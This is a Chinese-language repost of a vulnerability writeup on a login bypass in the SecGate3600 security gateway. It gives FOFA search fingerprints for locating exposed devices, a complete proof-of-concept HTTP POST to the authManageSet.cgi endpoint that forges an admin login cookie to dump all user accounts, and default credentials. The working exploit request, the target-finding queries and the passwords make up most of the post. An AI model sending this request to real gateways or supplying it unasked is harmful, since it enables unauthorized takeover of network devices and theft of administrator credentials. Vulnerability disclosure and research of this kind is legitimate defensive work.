重要通知
师傅们，动动小手指，设个星标，灰常感谢
漏洞描述
SecGate3600是网神信息技术(北京)股份有限公司旗下一款安全网关产品，网神 SecGate3600 存在登录绕过漏洞，攻击者利用该漏洞可获取管理员密码等敏感信息，进一步控制系统。
资产测绘
第一个指纹很多打不开
fofa：body="sec_gate_image/login_02.gif"fofa：fid="ldb0WVBlAgZloMw9AAge0A=="
漏洞复现
部分界面如下
POC
POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1Host:Content-Type: application/x-www-form-urlencodedCookie: sw_login_name=adminUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15type=getAllUsers&_search=false&nd=1645000391264&rows=-1&page=1&sidx=&sord=asc
可以得到默认的用户密码
admin/admin@123
audit/audit@123
原文始发于微信公众号（十二主神）：【Nday】网神 SecGate3600 authManageSet.cgi 接口登录绕过漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论